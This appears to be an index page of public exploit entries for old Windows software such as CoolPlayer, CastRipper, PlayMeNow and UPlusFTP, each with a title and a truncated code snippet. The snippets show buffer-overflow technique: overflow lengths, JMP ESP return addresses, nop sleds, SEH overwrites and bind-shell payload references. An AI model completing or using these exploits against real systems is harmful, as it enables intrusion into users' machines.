UPlusFTP Server 1.7.1.01 Buffer Overflow

!/usr/bin/python import socket,sys,base64 print """ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ UPlusFTP Server v1.7.1.01 HTTP Remote BoF Exploit PoC Discovered by : Karn Ganeshen Author : Karn Ganeshe...

Registry OCX 1.5 - ActiveX Buffer Overflow

Tested on: Windows XP SP3 IE6/7 ' Registry OCX Remote Buffer Overflow ' Written by Blake buffer = String2008, "A" eip = unescape"%f3%30%9d%7c" 'eip 7C9D30F3 JMP ESP - SHELL32 nops = String20, unescape"%90" ' nop sled junk = String804, "D" ' bind shell port 4444 sc =...

Private Wire Gateway - Remote Buffer Overflow (Metasploit)

$Id: privatewiregateway.rb 9179 2010-04-30 08:40:19Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Microsoft IIS 4.0 - '.htr' Path Overflow (MS02-018) (Metasploit)

$Id: ms02018htr.rb 9179 2010-04-30 08:40:19Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

IDEAL Migration 2009 4.5.1 Buffer Overflow

!/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed EXITFUNC=seh,...

WM Downloader 3.0.0.9 - Local Buffer Overflow (Metasploit)

WM Downloader 3.0.0.9 - Local Buffer Overflow Metasploit This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

WM Downloader v3.0.0.9 Buffer Overflow (Meta)

Exploit for windows platform in category local exploits ============================================= WM Downloader v3.0.0.9 Buffer Overflow Meta ============================================= This file is part of the Metasploit Framework and may be subject to redistribution and commercial...

Shadow Stream Recorder 3.0.1.7 Buffer Overflow

!/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe Tested on: Windows XP SP3 windows/exec - 228 bytes EXITFUNC=seh, CMD=calc.exe shellcode =...

Yahoo Player v1.0 (.m3u/.pls/.ypl) Buffer Overflow Exploit (SEH)

No description provided by source. !/usr/bin/perl print qq Yahoo Player 1.0 .m3u/.pls/.ypl Local Buffer Overflow Exploit SEH by Mr.tro0oqy from yemen geertz: Red-D3v1L , his0k4 ,Stack ; my $bof="\x41" x 2076; my $nsh="\xEB\x06\x90\x90"; Short jmp my $seh="\x5D\x38\x82\x7C"; KERNEL32.DLL my...

Yahoo Player 1.0 - .m3u .pls .ypl Local Buffer Overflow (SEH)

Yahoo Player 1.0 - .m3u .pls .ypl Local Buffer Overflow SEH !/usr/bin/perl print qq Yahoo Player 1.0 .m3u/.pls/.ypl Local Buffer Overflow Exploit SEH by Mr.tro0oqy from yemen geertz: Red-D3v1L , his0k4 ,Stack ; my $bof="\x41" x 2076; my $nsh="\xEB\x06\x90\x90"; Short jmp my $seh="\x5D\x38\x82\x7C...

CastRipper 2.9.6.0 .wvx File Local Buffer Overflow

!/usr/bin/python CastRipper 2.9.6.0 .wvx file local BOF 0day by FB1H2S Greetz to all Darkc0de, Andhra Hackers and ICW Memebers Thanks : Mr bond,beenu,Wipu,GOdwinAustin,Theempty,hgH@x0r,r45c4l,itsecurity,eberly,Tia Shoutz : SMARTHAX0R,j4ckh4x0r,41w@r10r,Hackuin Catch us at www.andhrahackers.com or...

Ollydbg 2.00 Beta1 - Local Buffer Overflow

Ollydbg 2.00 Beta1 - Local Buffer Overflow Exploit Title: Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit Date: 2010-02-15 Author: SuBz3r0 Software Link: http://www.ollydbg.de/version2.html Version: 2.00 Beta 1 Tested on: XP SP3 CVE : if exists Code : Ollydbg2 v2.00 beta1 Exploit in Python print...

Ollydbg 2.00 Beta1 - Local Buffer Overflow

Exploit Title: Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit Date: 2010-02-15 Author: SuBz3r0 Software Link: http://www.ollydbg.de/version2.html Version: 2.00 Beta 1 Tested on: XP SP3 CVE : if exists Code : Ollydbg2 v2.00 beta1 Exploit in Python print "" print "" print " SuBz3r0 " print "" pri...

CastRipper 2.50.70 (.pls) Stack buffer Overflow Exploit WinXP SP3

No description provided by source. !/usr/bin/perl CastRipper 2.50.70 .plsStack buffer Overflow Exploit WinXP SP3 Exploite By : d3b4g my webpage www.d3b4g.info From tiny islands of maldivies Tested on Windows XP SP3 24.12.2009 I used Adress from SHELL32.dll.You can change it to your desired...

CastRipper 2.50.70 (.pls) Stack buffer Overflow Exploit WinXP SP3

Exploit for unknown platform in category local exploits ================================================================= CastRipper 2.50.70 .pls Stack buffer Overflow Exploit WinXP SP3 ================================================================= Title: CastRipper 2.50.70 .pls Stack buffer...

CoolPlayer 2.18 .M3U Buffer Overflow

!/usr/bin/perl Versions affected: 2.18 Tested on: Windows XP Pro SP2 Author: data$hack Usage: expl.pl my $file= "exs3.m3u"; my $junk= "A" x 223; my $eip = pack'V',0x7C836940; jmp esp from kernel my $shellcode = "\x90" x 10; $shellcode = $shellcode...

CoolPlayer 2.18 M3U Playlist Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl Versions affected: 2.18 Tested on: Windows XP Pro SP2 Author: data$hack Usage: expl.pl my $file= "exs3.m3u"; my $junk= "A" x 223; my $eip = pack'V',0x7C836940; jmp esp from kernel my $shellcode = "\x90" x 10; $shellcode = $shellcode...

PlayMeNow M3U Universal Buffer Overflow

!/usr/bin/python Vulnerability: PlayMeNow Malformed M3U Playlist WinXP Universal BoF Product: PlayMeNow - media player. Versions affected: Tested with 7.3 and 7.4 Tested on: Windows XP Pro SP2/3 & Home SP3 Author: loneferret Original Author: Gr33nG0bL1n Reference:...

PlayMeNow (Windows XP Universal) - .M3U Playlist Buffer Overflow

PlayMeNow Windows XP Universal - .M3U Playlist Buffer Overflow !/usr/bin/python Vulnerability: PlayMeNow Malformed M3U Playlist WinXP Universal BoF Product: PlayMeNow - media player. Versions affected: Tested with 7.3 and 7.4 Tested on: Windows XP Pro SP2/3 & Home SP3 Author: loneferret Original...

PlayMeNow Malformed M3U Playlist WinXP Universal BOF

Exploit for unknown platform in category local exploits ==================================================== PlayMeNow Malformed M3U Playlist WinXP Universal BOF ==================================================== Title: PlayMeNow Malformed M3U Playlist WinXP Universal BOF CVE-ID: OSVDB-ID:...